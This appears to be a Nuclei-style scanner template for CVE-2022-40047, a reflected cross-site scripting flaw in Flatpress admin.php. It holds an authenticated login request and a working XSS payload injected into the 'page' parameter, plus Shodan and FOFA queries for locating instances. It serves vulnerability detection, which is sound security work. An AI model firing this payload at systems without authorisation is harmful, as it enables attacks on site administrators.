Flatpress < v1.2.1 - Cross Site Scripting

id: CVE-2022-40047

info:
  name: Flatpress < v1.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Flatpress v1.2.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the page parameter at /flatpress/admin.php.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the page parameter in admin.php that executes in other users' browsers, potentially stealing session tokens or performing unauthorized actions in Flatpress blog administration.
  remediation: |
    Update Flatpress to a version later than 1.2.1 that properly sanitizes and encodes the page parameter in admin.php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40047
    - https://github.com/flatpressblog/flatpress/issues/153
    - http://flatpress.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-40047
    cwe-id: CWE-79
    epss-score: 0.01431
    epss-percentile: 0.69823
    cpe: cpe:2.3:a:flatpress:flatpress:1.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: flatpress
    product: flatpress
    shodan-query:
      - http.html:"flatpress"
      - http.favicon.hash:-1189292869
    fofa-query:
      - body="flatpress"
      - icon_hash=-1189292869
  tags: cve,cve2022,flatpress,authenticated,xss,intrusive,vuln
variables:
  randstring: "{{to_lower(rand_base(16))}}"

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstring}}

        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="user"

        {{username}}
        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="pass"

        {{password}}
        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="submit"

        Login
        ------WebKitFormBoundary{{randstring}}--
      - |
        GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.domain%29%22autofocus%3d%22zr4da HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "flatpress")'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=\"alert(document.domain)")'
        condition: and
# digest: 4a0a004730450221008aeabd74892e50f7b56b8aca5f5c7dd6a61aac9408c083546c31177d978dc3e40220170ddcdbf1c54261fa7050d5534dfa3bde55581ac58849dd9ad1bc2675bcd326:922c64590222798bb761d5b6d8e72950